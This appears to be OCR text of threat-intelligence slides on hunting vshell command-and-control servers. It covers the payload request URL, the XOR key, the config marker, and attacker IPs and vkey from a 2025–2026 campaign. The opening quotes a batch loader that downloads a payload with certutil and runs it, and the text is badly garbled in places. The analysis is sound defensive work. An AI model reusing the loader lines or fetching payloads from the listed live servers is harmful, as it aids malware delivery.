11 if “NARCH® (

. 65 certutil.exe -urlcache -split -f %u64¥® v

13 ) else (

14 certutil.exe -urlcache -split -f %u32% %vi

15 )

16

A start "" fvE

exit /b @



I Hunting for vshell viestgctﬁt

On sending a GET request to:
<ip>:<port>/?h=<ip>&p=<port>&t=tcp&a=w32&stage=false
We get back the stageless payload encrypted by xoring with 0x99

http://64.118.147.88:8084/?h=64.118.147.88&p=8084&t=tcp&a=w328&stage=false (@) save v

GET ~  http://64.118.147.88:8084/?h=64.118.147.888p=8084&1=tcp&a=w328&stage=false

Params @ Authorization Headers (10) Body @ Pre-request Script Tests Settings Cookies
stage false

Body Cookies Headers (4 Test Results @ Status: 200 OK Time: 1437 ms  Size: 4.44 MB Save Response v
Pretty Raw Preview Visualize f_. Q

0000:00000000:00.117000000000000000000000000000000000000.00000700-970.00700000000000000000000000000000000'000000000000009009 0TI
00100090 1000000000000000000000000000000:000000.700000000000000000000000000001001=

00000000000000000000000000,0000000000000000000020TIIIIIINIIINIIIINIICINIIINITH G090 000000000000000000000000000000000000000000000000000
000:[0/000:[00000000000000700000000000000100000010000000000000:00000000000001000000100000000000007000000000000100000010000000000000

(B NN NN NN NN NN SN RN NN RN NN RN NN RN NN NN NN NN NN RN NN RN NN NN NN NN NN NN RN NN EEN NN NN EENE RN NN EEENN RN RN




I Hunting for vshell
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Using regex we finding inside the stageless vshell the encrypted config.

The encrypted config is followed by 100 bytes Oxff

uuuuuuu
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh
db OFFh

encrypted_config db 18h
db OEBh
db 0C4h
db 1Dh
db 0Dh
db 87h

db 0CSh

db 5Fh ;

100]bytesloxts

; DATA XREF: main_main+7D20

Encrypted



I Hunting for vshell viettel
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Finding the
encrypted config
inside stageless

payload and

decrypt

If the request
Finding all default Try Get request success then get

nginx home page for /swt uri the stageless
payload

« This process is automate using a program written in rust with the help of Al

« Without the extracting config process, 100% of the ip is vshell

« For now, we have support for version 4.9.3 of vshell which managed to extract more than 70%
of the vshell config online



I Hunting for vshell viettel

security

Here we managed to find from the extracted config the vshell with the same vkey
(different from default vkey) as the one which we have detected in one incident of the
threat actor campaign.

We detect that the threat actor mostly host the vshell config on Tcloudnet during the
campaign from Q4/2025 to Q2/2026

df_clean[(df_clean['vkey'] == 'abcd1234ABCD")
source_ip source_port vkey ip lastupdatetime country city asn org domain cert subject_cn
3781 206.238.73.40 80 abcd1234ABCD 206.238.73.40 2026-04-06 16:00:00 SG Singapore 399077.0 Tcloudnet NaN NaN NaN

4021 154.91.81.116 80 abcd1234ABCD 154.91.81.116 2026-04-10 10:00:00 SG Singapore 399077.0 Tcloudnet NaN NaN NaN



I Conclusion viettel
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Conclusion

« Overview of the group TA-SC-35, attribution and their activities
from Q2/2025 to Q2/2026.

« Deep analyze from unpacking to deobfuscating with control flow
flattening and decrypting config of the full chain.

» Develop a scanner in order to catch vshell on the internet and
extracting their config. From there, we can respond accordingly.
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